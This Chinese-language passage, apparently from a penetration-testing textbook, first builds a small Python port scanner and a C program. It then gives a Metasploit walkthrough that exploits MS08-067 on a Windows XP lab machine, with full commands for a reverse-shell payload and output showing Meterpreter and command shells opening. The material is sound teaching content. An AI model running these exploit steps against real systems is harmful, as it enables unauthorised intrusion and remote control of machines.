我们将首先提示用户输入数据，并将输入记录到变量中。变量将存储输入的数据，以便稍后在脚本中使用。为了从用户那里获取输入，我们可以使用 Python 函数 raw_input ❷。我们希望将端口保存为整数，因此在 ❸ 处，我们使用了一个类似的内建 Python 函数 input。

保存文件后，使用 chmod 命令使脚本可执行，然后运行脚本，如下所示。

root@kali:~/mydirectory# chmod 744 pythonscript.py
root@kali:~/mydirectory# ./pythonscript.py
Enter the ip: 192.168.20.10
Enter the port: 80

当你运行脚本时，系统会提示你输入 IP 地址和端口，这是预期的行为。

现在，我们将添加一些功能，允许我们使用用户的输入连接到选择的系统的指定端口，以检查端口是否开放（示例 3-8）。

示例 3-8. 添加端口扫描功能

#!/usr/bin/python
import socket ❶
ip = raw_input("Enter the ip: ")
port = input("Enter the port: ")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) ❷
if s.connect_ex((ip, port)): ❸
        print "Port", port, "is closed" ❹
else: ❺
        print "Port", port, "is open"

为了在 Python 中执行网络任务，我们可以使用命令 import socket ❶ 来引入一个名为 socket 的库。socket 库负责设置网络套接字的繁重工作。

创建 TCP 网络套接字的语法是socket.socket(socket.AF_INET, socket.SOCK_STREAM)。我们在❷处将一个变量设置为该网络套接字。

连接到端口

在创建一个连接到远程端口的套接字时，Python 中的第一个可选函数是connect。然而，对于我们的目的，有一个更好的选择，即类似的connect_ex函数。根据 Python 文档，connect_ex与connect类似，区别在于如果连接失败，它会返回错误代码，而不是引发异常。如果连接成功，connect_ex将返回值0。由于我们希望知道函数是否能成功连接到端口，这个返回值似乎非常适合用于if语句。

Python 中的 if 语句

在 Python 中构建if语句时，我们输入if condition:。在 Python 中，属于条件or循环的语句通过缩进来表示，而不是像 Bash 脚本那样使用结束标记。我们可以指示if语句评估 TCP 套接字连接到用户定义的 IP 地址和端口的返回值，命令为if s.connect_ex((ip, port)): ❸。如果连接成功，connect_ex将返回0，这会被if语句评估为假。如果连接失败，connect_ex将返回一个正整数，或为真。因此，如果我们的if语句评估为真，可以推测端口已关闭，并且我们可以通过 Python 的print命令在❹处将结果展示给用户。与 Bash 脚本示例一样，如果connect_ex在❺处返回0，我们可以使用else语句（Python 中的语法是else:）来通知用户测试的端口是开放的。

现在，运行更新后的脚本测试目标主机上是否运行着 TCP 端口 80，如下所示。

root@kali:~/# ./pythonscript.py
Enter the ip: 192.168.20.10
Enter the port: 80
Port 80 is open

根据我们的脚本，端口 80 是开放的。现在再次运行脚本，测试端口 81。

root@kali:~/# ./pythonscript.py
Enter the ip: 192.168.20.10
Enter the port: 81
Port 81 is closed

这次，脚本报告端口 81 已关闭。

注意

我们将在第五章中了解如何检查开放端口，稍后在学习漏洞开发时会回到 Python 脚本。Kali Linux 还支持 Perl 和 Ruby 语言的解释器。我们将在第十九章学习一点 Ruby。掌握多种语言总是有益的。如果你有挑战精神，可以尝试用 Perl 和 Ruby 重新创建这个脚本。

编写和编译 C 程序

让我们做一个简单的编程示例，这次使用 C 编程语言。与 Bash 和 Python 等脚本语言不同，C 代码必须先编译并转换成 CPU 能理解的机器语言，然后才能运行。

Kali Linux 包含 GNU 编译器集合（GCC），这将允许我们编译 C 代码并在系统上运行。让我们创建一个简单的 C 程序，向命令行参数问好，如示例 3-9 所示。

示例 3-9. “Hello World” C 程序

#include <stdio.h> ❶
int main(int argc, char *argv[]) ❷
{
    if(argc < 2) ❸
    {
        printf("%s\n", "Pass your name as an argument"); ❹
        return 0; ❺
    }
    else
    {
                printf("Hello %s\n", argv[1]); ❻
                return 0;
    }
}

C 的语法与 Python 和 Bash 有点不同。因为我们的代码将被编译，我们不需要告诉终端使用哪个解释器来执行代码。首先，像我们的 Python 示例一样，我们导入一个 C 库。在这种情况下，我们将导入 stdio（标准输入输出的缩写）库，它将允许我们接受输入并将输出打印到终端。在 C 中，我们使用命令 #include <stdio.h> 来导入 stdio ❶。

每个 C 程序都有一个名为 main 的函数 ❷，它在程序启动时运行。我们的程序将接受一个命令行参数，因此我们将一个整数 argc 和一个字符数组 argv 传递给 main。argc 是参数计数，argv 是参数向量，包含传递给程序的任何命令行参数。这是 C 程序接受命令行参数的标准语法。（在 C 中，函数、循环等的开始和结束由大括号 {} 标记。）

首先，我们的程序检查是否提供了命令行参数。argc 整数是参数数组的长度；如果它小于二（即程序名称和命令行参数），则说明没有提供命令行参数。我们可以使用 if 语句来进行检查 ❸。

if 语法在 C 中也有些不同。和 Bash 脚本一样，如果没有提供命令行参数，我们可以提示用户查看使用信息 ❹。printf 函数允许我们将输出写入终端。同时请注意，C 语言中的语句以分号（;）结束。一旦程序执行完毕，我们使用 return 语句 ❺ 来结束 main 函数。如果提供了命令行参数，我们的 else 语句指示程序向命令行参数问好 ❻。（确保使用大括号来闭合所有循环和 main 函数。）

在运行程序之前，我们需要用 GCC 编译它，如下所示。将程序保存为 cprogram.c。

root@kali:~# gcc cprogram.c -o cprogram

使用 -o 选项来指定编译后的程序名称，并将 C 代码传递给 GCC。现在从当前目录运行该程序。如果程序未带任何参数运行，你应该会看到如下的使用信息。

root@kali:~# ./cprogram
Pass your name as an argument

如果我们传递给它一个参数，在这种情况下是我们的名字，程序将向我们问好。

root@kali:~# ./cprogram georgia
Hello georgia

注意

我们将在第十六章中查看另一个 C 编程示例，其中一些不规范的 C 编程导致了缓冲区溢出条件，我们将对此进行利用。

总结

在本章中，我们查看了三种不同语言中的简单程序。我们了解了基本构造，比如将信息保存在变量中以供后续使用。此外，我们还学习了如何使用条件语句，如if语句，以及迭代语句，如for循环，让程序根据提供的信息做出决策。尽管不同编程语言的语法各异，但思想是相同的。

第四章使用 Metasploit 框架

在后续章节中，我们将深入探讨渗透测试的各个阶段，但在本章中，我们将直接动手，亲自体验利用过程。尽管信息收集和侦察阶段对渗透测试的成功通常更为重要，但收集 shell（连接到被利用的目标的远程连接）或诱使用户将其公司凭据输入到你的克隆网站中，总比利用漏洞更有趣。

在本章中，我们将使用 Metasploit 框架，这是渗透测试人员的事实标准工具。Metasploit 于 2003 年首次发布，在安全社区中已成为一种文化现象。尽管 Metasploit 目前由安全公司 Rapid7 拥有，但仍然提供开源版本，且开发工作主要由安全社区推动。

Metasploit 的模块化和灵活架构帮助开发人员在发现新漏洞时高效地创建有效的利用代码。正如你将看到的，Metasploit 直观且易于使用，并且提供了一种集中化的方式来运行已经通过安全社区验证的可信利用代码。

为什么要使用 Metasploit？假设你在客户环境中发现了一个漏洞——位于 192.168.20.10 的 Windows XP 系统缺少 Microsoft 安全公告 MS08-067。作为渗透测试人员，你需要利用这个漏洞（如果可能的话），并评估潜在的安全风险。

一种方法可能是在你的实验室中设置一个同样缺少此补丁的 Windows XP 系统，尝试触发漏洞，并开发一个有效的利用代码。但手动开发利用代码既耗时又需要技能，而你的渗透测试机会窗口可能正在关闭。

你可以尝试在互联网上搜索利用此漏洞的代码。像 Packet Storm Security (www.packetstormsecurity.com/)、SecurityFocus (www.securityfocus.com/)、和 Exploit Database (www.exploit-db.com/) 这样的网站提供了已知利用代码的仓库。但需要警惕的是：并非所有公开的利用代码都能按其声明的方式工作。有些利用代码可能会摧毁目标系统，甚至攻击你的系统而不是目标。你在运行网上找到的任何东西时，应该始终保持警惕，并在信任之前仔细阅读代码。此外，你找到的公开利用代码可能无法完全满足你的需求。你可能需要做一些额外的工作，将它们移植到你的渗透测试环境中。

无论我们是从零开始开发利用代码，还是将公开的代码作为基础，我们仍然需要让这个利用代码在你的渗透测试中生效。我们的时间可能会更好地用于那些难以自动化的任务，幸运的是，我们可以使用 Metasploit 来快速且轻松地利用已知漏洞，如 MS08-067。

启动 Metasploit

让我们启动 Metasploit 并攻击我们的第一个系统。在 Kali Linux 中，Metasploit 在我们的路径中，因此我们可以在系统中的任何位置启动它。但在启动 Metasploit 之前，你需要启动 PostgreSQL 数据库，Metasploit 会使用它来跟踪你的操作。

root@kali:~# service postgresql start

现在你已经准备好启动 Metasploit 服务。此命令会创建一个名为 msf3 的 PostgreSQL 用户，并创建一个相应的数据库来存储我们的数据。它还会启动 Metasploit 的远程过程调用（RPC）服务器和 Web 服务器。

root@kali:~# service metasploit start

使用 Metasploit 有多种接口。在本章中，我们将使用 Msfconsole，这是一个基于文本的 Metasploit 控制台，以及 Msfcli，这是一个命令行接口。两种接口都可以用来运行 Metasploit 模块，尽管我通常会在 Msfconsole 中花费大部分时间。通过输入 msfconsole 来启动控制台。

root@kali:~# msfconsole

如果 Msfconsole 看起来停顿了一两分钟，不要惊慌；它正在动态加载 Metasploit 模块树。加载完成后，你将看到一些巧妙的 ASCII 艺术、版本信息和其他细节，以及一个 msf > 提示符（见示例 4-1）。

示例 4-1. 启动 Msfconsole

     ,           ,
    /             \
   ((__---,,,---__))
      (_) O O (_)_________
         \ _ /            |\
          o_o \   M S F   | \
               \   _____  |  *
                |||   WW|||
                |||     |||

Large pentest? List, sort, group, tag and search your hosts and services
in Metasploit Pro -- type 'go_pro' to launch it now.

       =[ metasploit v4.8.2-2014010101 [core:4.8 api:1.0]
+ -- --= 1246 exploits - 678 auxiliary - 198 post
+ -- --=[ 324 payloads - 32 encoders - 8 nops

msf >

请注意，在 [示例 4-1 中，截至本文撰写时，Metasploit 有 1,246 个漏洞利用模块、678 个辅助模块等。毫无疑问，当你阅读本文时，这些数字会更大。新的模块不断被添加到 Metasploit 中，并且由于 Metasploit 是一个社区驱动的项目，任何人都可以提交模块以供加入 Metasploit 框架。（事实上，在第十九章中，你将学习如何编写自己的模块，并作为 Metasploit 作者获得不朽的名声。）

如果在使用 Msfconsole 时遇到困难，可以输入 help 获取可用命令的列表以及它们的功能描述。对于某个特定命令的详细信息，包括用法，输入 help <command name>。

例如，使用 Metasploit 的 route 命令的帮助信息显示在示例 4-2 中。

示例 4-2. Metasploit 中的帮助信息

msf > **help route**
Usage: route [add/remove/get/flush/print] subnet netmask [comm/sid]

Route traffic destined to a given subnet through a supplied session.
The default comm is Local...

查找 Metasploit 模块

让我们看看如何利用 Metasploit 来利用我们 Windows XP 目标中的未修补漏洞。我们将利用在 Microsoft 安全公告 MS08-067 中修补的漏洞。你可能会问一个自然的问题，那就是我们怎么知道这个补丁在我们的 Windows XP 目标系统中缺失？在后续章节中，我们将逐步介绍如何发现这个漏洞以及在目标系统上发现的其他几个漏洞。现在，只需相信我，这是我们希望利用的漏洞。

MS08-067 修复了netapi32.dll中的一个问题，该问题允许攻击者通过服务器消息块（SMB）服务使用特殊构造的远程过程调用请求接管目标系统。这个漏洞特别危险，因为它不要求攻击者在执行攻击之前先对目标机器进行身份验证。MS08-067 因被 Conficker 蠕虫利用而获得了永恒的恶名，这一事件在媒体上被广泛报道。

现在，如果你熟悉 Microsoft 的补丁，可能会认出这个补丁是 2008 年的。考虑到它的年代，你可能会惊讶地发现，即使今天，特别是在评估内部网络时，这个补丁所修复的漏洞仍然能够在渗透测试中取得成功。Metasploit 的 MS08-067 模块易于使用且成功率高，使其成为理想的第一个示例。我们使用 Metasploit 的第一步是找到一个能够利用这个特定漏洞的模块。我们有几个选择。通常，通过简单的 Google 搜索就能找到所需的模块，但 Metasploit 也有一个在线模块数据库（*www.rapid7.com/db/modules/）以及一个内置的搜索功能，你可以用来搜索正确的模块。

模块数据库

你可以使用 Metasploit 的搜索页面，根据公共漏洞和暴露（CVE）编号、开源漏洞数据库（OSVDB）ID、Bugtraq ID 或 Microsoft 安全公告来匹配 Metasploit 模块与漏洞，或者你可以搜索模块信息的全文内容。可以在 Microsoft 安全公告 ID 字段中搜索MS08-067，如图 4-1 所示。

图 4-1. 搜索 Metasploit 辅助模块与漏洞数据库

搜索结果，如图 4-2 所示，告诉我们需要的模块名称以及有关该模块的信息（我们将在下一节讨论）。

图 4-2. MS08-067 Metasploit 模块页面

MS08-067 安全公告的 Metasploit 模块的完整名称显示在 URI 栏中。在 Metasploit 的模块目录中，这个漏洞的利用模块是exploit/windows/smb/ms08_067_netapi。

内置搜索

你也可以使用 Metasploit 的内置搜索功能来找到正确的模块名称，如示例 4-3 所示。

示例 4-3. 搜索 Metasploit 模块

msf > **search ms08-067**

Matching Modules
================

   Name                                 Disclosure Date          Rank   Description
   ----                                 ---------------          ----   -----------
   **exploit/windows/smb/ms08_067_netapi**  2008-10-28 00:00:00 UTC  great  Microsoft Server
                                                                          Service Relative Path
                                                                          Stack Corruption

我们再次发现，这个漏洞的正确模块名称是 exploit/windows/smb/ms08_067_netapi。一旦你确认了要使用的模块，输入 info 命令并加上模块名称，如示例 4-4 中所示。

示例 4-4。Metasploit 中的信息列出

  msf > **info exploit/windows/smb/ms08_067_netapi**

        ❶Name: Microsoft Server Service Relative Path Stack Corruption
      ❷Module: exploit/windows/smb/ms08_067_netapi
      Version: 0
    ❸Platform: Windows
  ❹Privileged: Yes
      License: Metasploit Framework License (BSD)
        ❺Rank: Great

❻ Available targets:
    Id  Name
    --  ----
    0   Automatic Targeting
    1   Windows 2000 Universal
    2   Windows XP SP0/SP1 Universal
    --*snip*--
    67  Windows 2003 SP2 Spanish (NX)

  ❼ Basic options:
    Name     Current Setting  Required  Description
    ----     ---------------  --------  -----------
    RHOST                     yes       The target address
    RPORT    445              yes       Set the SMB service port
    SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)

❽ Payload information:
    Space: 400
    Avoid: 8 characters
❾ Description:
    This module exploits a parsing flaw in the path canonicalization
    code of NetAPI32.dll through the Server Service. This module is
    capable of bypassing NX on some operating systems and service packs.
    The correct target must be used to prevent the Server Service (along
    with a dozen others in the same process) from crashing. Windows XP
    targets seem to handle multiple successful exploitation events, but
    2003 targets will often crash or hang on subsequent attempts. This
    is just the first version of this module, full support for NX bypass
    on 2003, along with other platforms, is still in development.
❿ References:
    http://www.microsoft.com/technet/security/bulletin/MS08-067.mspx

这个信息页面告诉我们很多内容。

首先我们看到一些关于模块的基本信息，包括 ❶ 处的描述性名称，接着是 ❷ 处的模块名称。（版本字段以前表示模块的 SVN 修订版，但由于 Metasploit 现在托管在 GitHub 上，所有模块的版本都设置为 0。）
平台 ❸ 告诉我们这个利用适用于 Windows 系统。
权限 ❹ 告诉我们该模块是否需要或授予目标系统的高级权限。许可证 被设置为 Metasploit Framework 许可证（BSD）。（Metasploit 的许可证是一个三条款的 BSD 开源许可证。）
排名 ❺ 列出了该利用对目标的潜在影响。利用根据从手动到优秀进行排名。一个排名为优秀的利用不应该导致服务崩溃；像 MS08-067 这样的内存损坏漏洞通常不在这个类别中。我们的模块属于“优秀”类别的下一个级别。“优秀”级别的利用可以自动检测正确的目标，并具有其他特性，使其更可能成功。
可用目标 ❻ 列出了该模块可以利用的操作系统版本和补丁级别。这个模块有 67 个可能的目标，包括 Windows 2000、Windows 2003 和 Windows XP，以及多个服务和语言包。
基本选项 ❼ 列出了模块的各种选项，可以设置以使模块更好地满足我们的需求。例如，RHOST 选项告诉 Metasploit 目标的 IP 地址。（我们将在设置模块选项中深入讨论这些基本选项。）
有效载荷信息 ❽ 包含帮助 Metasploit 决定可以与此利用一起使用哪些有效载荷的信息。有效载荷或 shellcode 告诉被利用的系统代表攻击者执行什么操作。（攻击目标的目的是，当然是让它做一些它本不该做的事情。）Metasploit 的有效载荷系统为我们提供了许多让目标执行操作的选项。
描述 ❾ 包括有关该模块利用的特定漏洞的更多详细信息。
参考资料 ❿ 包含指向在线漏洞数据库条目的链接。如果你在选择用于某个漏洞的 Metasploit 模块时感到困惑，可以从其信息页面开始。

确认这是正确的模块后，告诉 Metasploit 使用此模块，命令为 use windows/smb/ms08_067_netapi。你可以省略 exploit/ 部分的模块名称；Metasploit 会自动识别你想要的。

msf > **use windows/smb/ms08_067_netapi**
msf  exploit(ms08_067_netapi) >

现在我们处于利用模块的上下文中。

设置模块选项

选择了我们的利用方法后，我们需要向 Metasploit 提供一些信息。正如你将在本书中看到的那样，Metasploit 可以在渗透测试的许多方面为你提供帮助，但它还不是一个能够读心的工具……至少目前还不是。要查看 Metasploit 运行你所选择的模块所需的信息，请输入 show options（示例 4-5）。

示例 4-5. 利用模块选项

msf  exploit(ms08_067_netapi) > **show options**

Module options (exploit/windows/smb/ms08_067_netapi):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
  ❶RHOST                     yes       The target address
  ❷RPORT    445              yes       Set the SMB service port
  ❸SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)

Exploit target:

   Id  Name
   --  ----
  ❹0   Automatic Targeting

msf  exploit(ms08_067_netapi) >

在示例 4-5 中显示的输出顶部是模块设置以及任何默认值，是否某些设置是模块成功运行所必需的，以及每个设置的描述。

RHOST

RHOST 选项 ❶ 指的是我们想要利用的远程主机。这个选项是必需的，因为它给 Metasploit 提供了一个攻击目标。我们将通过将 RHOST 选项从空白更改为我们的目标 IP 地址，告诉 Metasploit 利用我们在第一章中设置的 Windows XP 目标机。（如果你记不住目标 IP 地址是什么，可以在 Windows XP 机器上运行 ipconfig 命令来查找。）要设置一个选项，请输入 set <要设置的选项> <要设置的值>，所以在这种情况下，set RHOST 192.168.20.10。（记得使用你自己 Windows XP 目标机的 IP 地址。）发出此命令后，再次运行 show options 应该会显示 RHOST 的值已设置为 192.168.20.10。

RPORT

RPORT ❷ 指的是远程端口。让我想起了一位曾经的经理，他花了很长时间寻找 80 端口——就像是试图物理地找到它一样。对于我解释说网络端口完全是由代码构成的他并不满意，最终我只是指着以太网端口。这个故事的寓意是：端口只是网络端口；它并不是一个物理端口。例如，当你浏览 www.google.com 时，互联网上的某个 web 服务器就在 80 端口上监听。

在这种情况下，我们看到 RPORT 被设置为默认值。因为我们的利用方法使用了 Windows SMB 服务，RPORT 的值可能应该是 445，这是 SMB 的默认端口。正如你所看到的，Metasploit 为我们节省了设置该值的麻烦，默认将其设置为 445（如果需要，你可以更改它）。在我们的案例中，我们可以直接保持这个设置。

SMBPIPE

和 RPORT 值一样，对于 SMBPIPE 选项 ❸，保持默认值 BROWSER 即可。这对我们的目的来说完全足够。（SMB 管道允许我们通过网络与 Windows 的进程间通信进行交互。我们将在本章稍后部分探讨如何找出目标机器上监听的 SMB 管道。）

利用目标

利用目标设置为0 自动目标选择 ❹。这是目标操作系统及其版本。你可以在模块的信息页面查看可用的目标，或者通过命令show targets显示它们（参见示例 4-6）。

示例 4-6. 利用目标

msf  exploit(ms08_067_netapi) > **show targets**

Exploit targets:

   Id  Name
   --  ----
   0   Automatic Targeting
   1   Windows 2000 Universal
   2   Windows XP SP0/SP1 Universal
   3   Windows XP SP2 English (AlwaysOn NX)
   4   Windows XP SP2 English (NX)
   5   Windows XP SP3 English (AlwaysOn NX)
   *--snip--*
   67  Windows 2003 SP2 Spanish (NX)

正如在示例 4-6 中所见，这个模块可以攻击 Windows 2000、Windows 2003 和 Windows XP。

注意

请记住，微软已经为所有受此漏洞影响的平台发布了补丁，但要保持环境中的所有系统都及时安装 Windows 补丁并非易事。许多渗透测试客户的 Windows 系统及其他软件将会缺少一些关键更新。

我们知道我们的目标是运行 Windows XP SP3 英文版，因此我们可以猜测正确的目标编号是 5 或 6，但这并不总是这么简单。选择自动目标选择，让 Metasploit 指纹识别 SMB 服务，并根据结果选择适当的目标。

要设置目标选项，请输入set target <target number>。在这种情况下，我们将模块的目标保持为默认的自动目标选择，然后继续。

有效负载（或 Shellcode）

根据show options命令的输出，目前看起来一切应该就绪，但我们还没有完全完成。我们忘记告诉我们的漏洞利用一旦目标被攻击成功后该做什么。Metasploit 提供了便捷的方式来帮助我们设置有效负载。Metasploit 有许多有效负载，从简单的 Windows 命令到可扩展的 Metasploit Meterpreter（有关 Meterpreter 的详细信息，请参见第十三章）。只需选择一个兼容的有效负载，Metasploit 就会为你生成漏洞利用字符串，其中包括触发漏洞的代码和在漏洞利用成功后运行的有效负载。（我们将在第十六章至第十九章中讨论手动编写漏洞利用。）

查找兼容的有效负载

截至目前，Metasploit 中有 324 个有效负载，像利用模块一样，新有效负载定期会被添加到框架中。例如，随着移动平台的崛起，iOS 和其他智能手机的有效负载开始出现在 Metasploit 中。但当然，并非所有 324 个有效负载都与我们选择的漏洞利用兼容。如果我们的 Windows 系统收到本应为 iPhone 提供的指令，它会感到困惑。要查看兼容的有效负载，输入 show payloads，如示例 4-7 所示。

示例 4-7. 兼容的有效负载

msf  exploit(ms08_067_netapi) > **show payloads**

Compatible Payloads
===================

   Name                                Disclosure Date  Rank    Description
   ----                                ---------------  ----    -----------
   generic/custom                                       normal  Custom Payload
   generic/debug_trap                                   normal  Generic x86 Debug Trap
   generic/shell_bind_tcp                               normal  Generic Command Shell, Bind TCP
                                                                  Inline
   generic/shell_reverse_tcp                            normal  Generic Command Shell, Reverse
                                                                  Inline
   generic/tight_loop                                   normal  Generic x86 Tight Loop
   windows/dllinject/bind_ipv6_tcp                      normal  Reflective DLL Injection, Bind
                                                                  TCP Stager (IPv6)
   windows/dllinject/bind_nonx_tcp                      normal  Reflective DLL Injection, Bind
                                                                  TCP Stager (No NX or Win7)
   windows/dllinject/bind_tcp                           normal  Reflective DLL Injection, Bind
                                                                  TCP Stager
   windows/dllinject/reverse_http                       normal  Reflective DLL Injection, Reverse
                                                                  HTTP Stager
*--snip--*
   windows/vncinject/reverse_ipv6_http                  normal  VNC Server (Reflective Injection),
                                                                  Reverse HTTP Stager (IPv6)
   windows/vncinject/reverse_ipv6_tcp                   normal  VNC Server (Reflective Injection),
                                                                  Reverse TCP Stager (IPv6)
--*snip*--
   windows/vncinject/reverse_tcp                        normal  VNC Server (Reflective Injection),
                                                                  Reverse TCP Stager
   windows/vncinject/reverse_tcp_allports               normal  VNC Server (Reflective Injection),
                                                                  Reverse All-Port TCP Stager
   windows/vncinject/reverse_tcp_dns                    normal  VNC Server (Reflective Injection),
                                                                  Reverse TCP Stager (DNS)

如果你忘记设置有效载荷，你可能会发现，奇迹般地，攻击模块会自动选择默认的有效载荷及相关设置并运行。不过，你应该养成手动设置有效载荷及其选项的习惯，因为默认选项不一定适合你的需求。

测试运行

让我们保持简单，首先使用默认有效载荷选项发送攻击模块，以便查看其工作原理。输入 exploit 告诉 Metasploit 运行该模块，如示例 4-8 所示。

示例 4-8. 运行攻击

msf  exploit(ms08_067_netapi) > **exploit**

[*] Started reverse handler on 192.168.20.9:4444
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] Attempting to trigger the vulnerability...
[*] Sending stage (752128 bytes) to 192.168.20.10
[*] Meterpreter session 1 opened (192.168.20.9:4444 -> 192.168.20.10:1334) at
2015-08-31 07:37:05 -0400

meterpreter >

如你所见，我们最终得到了一个 Meterpreter 会话。Meterpreter 是 meta-interpreter 的缩写，是 Metasploit 独有的有效载荷。我常常把它形容为“类 shell 的超级版本”。它可以做任何命令 shell 能做的事，甚至更多。我们将在第十三章深入讨论 Meterpreter，但为了提前了解，可以在 Meterpreter 控制台中输入 help 查看 Meterpreter 的命令列表。

注意

另一个关于默认选项的注意事项是，Metasploit 使用端口 4444。在我们的实验室中，这没有问题，工作得很好。然而，在实际的攻击中，如果客户使用了即使是最原始的入侵防护软件，它可能会注意到端口 4444 上的流量，并说：“嘿，你是 Metasploit，快走！”然后断开你的连接。

现在，让我们关闭 Meterpreter 会话，进一步了解如何手动选择有效载荷。尽管 Meterpreter 非常有用，但你可能会发现自己处于无法使用它的场景。输入 exit 退出 Meterpreter 提示符，返回到常规的 Metasploit 控制台。

meterpreter > **exit**
[*] Shutting down Meterpreter...

[*] Meterpreter session 1 closed.  Reason: User exit
msf  exploit(ms08_067_netapi) >

Shell 类型

在示例 4-7 中显示的兼容有效载荷列表中，你会看到一系列选项，包括命令 shell、Meterpreter、语音 API 或执行单个 Windows 命令。不论是 Meterpreter 还是其他，shell 可以分为两类：绑定（bind）和反向（reverse）。

绑定 Shell

绑定 shell 指示目标机器打开一个命令 shell，并在本地端口上监听。然后，攻击机器连接到目标机器的监听端口。然而，随着防火墙的出现，绑定 shell 的有效性下降，因为任何正确配置的防火墙都会阻止到一些随机端口（如 4444）的流量。

反向 Shell

反向 shell 则相反，它主动将连接推回到攻击机器，而不是等待传入连接。在这种情况下，我们在攻击机器上打开一个本地端口并监听来自目标的连接，因为这种反向连接更有可能穿越防火墙。

注意

你可能会想，“这本书是 2002 年写的吗？我的防火墙有出站过滤。”现代防火墙不仅能阻止入站连接，还能阻止出站连接。例如，阻止你的环境中的主机连接到端口 4444 是轻而易举的。但假设我把监听器设置在端口 80 或 443 上。对于防火墙来说，这看起来就像是网页流量，而你也知道，必须让用户能够从工作站访问 Facebook，否则会引发叛乱和混乱。

手动设置有效载荷

让我们选择一个 Windows 反向 shell 作为有效载荷。设置有效载荷的方式与设置 RHOST 选项相同：set payload <使用的有效载荷>。

msf  exploit(ms08_067_netapi) > **set payload windows/shell_reverse_tcp**
payload => windows/shell_reverse_tcp

由于这是一个反向 shell，我们需要告诉目标机器将 shell 发送到哪里；具体来说，我们需要提供攻击机器的 IP 地址和我们将监听的端口。再次运行 show options，如示例 4-9 所示，将显示模块及其有效载荷选项。

示例 4-9. 带有效载荷的模块选项

msf  exploit(ms08_067_netapi) > **show options**

Module options (exploit/windows/smb/ms08_067_netapi):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOST    192.168.20.10    yes       The target address
   RPORT    445              yes       Set the SMB service port
   SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)

Payload options (windows/shell_reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique: seh, thread, process, none
  ❶LHOST                      yes       The listen address
   LPORT     4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Automatic Targeting

LHOST ❶ 是我们在 Kali 机器上的本地主机，即我们希望目标机器连接回来的 IP 地址。如果你忘记了 IP 地址，可以直接在 Msfconsole 中输入 Linux ifconfig 命令来查找。

msf  exploit(ms08_067_netapi) > **ifconfig**
[*] exec: ifconfig

eth0      Link encap:Ethernet  HWaddr 00:0c:29:0e:8f:11
          inet addr:192.168.20.9  Bcast:192.168.20.255  Mask:255.255.255.0

*--snip--*

现在设置 LHOST 选项，输入 set LHOST 192.168.20.9。保持 LPORT 和 EXITFUNC 的默认值，LPORT 是连接回来的本地端口，EXITFUNC 指示 Metasploit 如何退出。然后输入 exploit，如示例 4-10 所示，再次发送我们的利用代码，并等待 shell 出现。

示例 4-10. 运行利用代码

msf  exploit(ms08_067_netapi) > **exploit**

[*] Started reverse handler on 192.168.20.9:4444 ❶
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] Selected Target: Windows XP SP3 English (AlwaysOn NX) ❷
[*] Attempting to trigger the vulnerability...
[*] Command shell session 2 opened (192.168.20.9:4444 -> 192.168.20.10:1374)
    at 2015-08-31 10:29:36 -0400

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>

恭喜你：你成功地利用了你的第一个机器！

事情是这样的。当我们输入 exploit 时，Metasploit 在端口 4444 上打开一个监听器，以捕获来自目标 ❶ 的反向 shell。然后，由于我们将目标保持为默认的 Automatic Targeting，Metasploit 会指纹识别远程 SMB 服务器，并为我们选择合适的利用目标 ❷。一旦选择了利用代码，Metasploit 就会发送利用字符串，并尝试控制目标机器并执行我们选择的有效载荷。由于利用成功，命令 shell 被我们的处理程序捕获。

要关闭这个 shell，按 ctrl-C，然后在提示符下输入 y 来中止会话。

C:\WINDOWS\system32>**^C**
Abort session 2? [y/N]  **y**

[*] Command shell session 2 closed.  Reason: User exit
msf  exploit(ms08_067_netapi) >

要返回到 Meterpreter shell，您可以选择一个名称中带有 Meterpreter 的有效载荷，如 windows/meterpreter/reverse_tcp，然后再次利用 Windows XP 目标。

Msfcli

现在介绍另一种与 Metasploit 交互的方法：命令行接口 Msfcli。当在脚本中使用 Metasploit 或测试正在开发的 Metasploit 模块时，Msfcli 特别有用，因为它允许你用简单的一行命令运行模块。

获取帮助

要运行 Msfcli，首先通过输入exit退出 Msfconsole，或直接打开另一个 Linux 控制台。Msfcli 已经在我们的路径中，因此我们可以在任何地方调用它。让我们首先通过msfcli -h查看 Msfcli 的帮助菜单（如示例 4-11 所示）。

示例 4-11. Msfcli 帮助

  root@kali:~# msfcli -h
❶ Usage: /opt/metasploit/apps/pro/msf3/msfcli <exploit_name> <option=value> [mode]
  ==============================================================================

      Mode           Description
      ----           -----------
      (A)dvanced     Show available advanced options for this module
      (AC)tions      Show available actions for this auxiliary module
      (C)heck        Run the check routine of the selected module
      (E)xecute      Execute the selected module
      (H)elp         You're looking at it baby!
      (I)DS Evasion  Show available ids evasion options for this module
     ❷(O)ptions      Show available options for this module
     ❸(P)ayloads     Show available payloads for this module
      (S)ummary      Show information about this module
      (T)argets      Show available targets for this exploit module

与使用 Msfconsole 不同，在使用 Msfcli 时，我们可以通过一个命令❶告诉 Metasploit 执行漏洞所需的一切。幸运的是，Msfcli 有一些模式来帮助我们构建最终的命令。例如，O模式❷显示所选模块的选项，而P模式则显示兼容的有效载荷❸。

显示选项

让我们再次对 Windows XP 目标使用 MS08-067 漏洞。根据帮助页面，我们需要传递给 Msfcli 我们想要使用的漏洞名称并设置所有选项❶。要查看可用的选项，请使用O模式。输入msfcli windows/smb/ms08_067_netapi O以查看 MS08-067 漏洞模块的选项，如示例 4-12 所示。

示例 4-12. 模块选项

root@kali:~# msfcli windows/smb/ms08_067_netapi O
[*] Please wait while we load the module tree...

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOST                     yes       The target address
   RPORT    445              yes       Set the SMB service port
   SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)

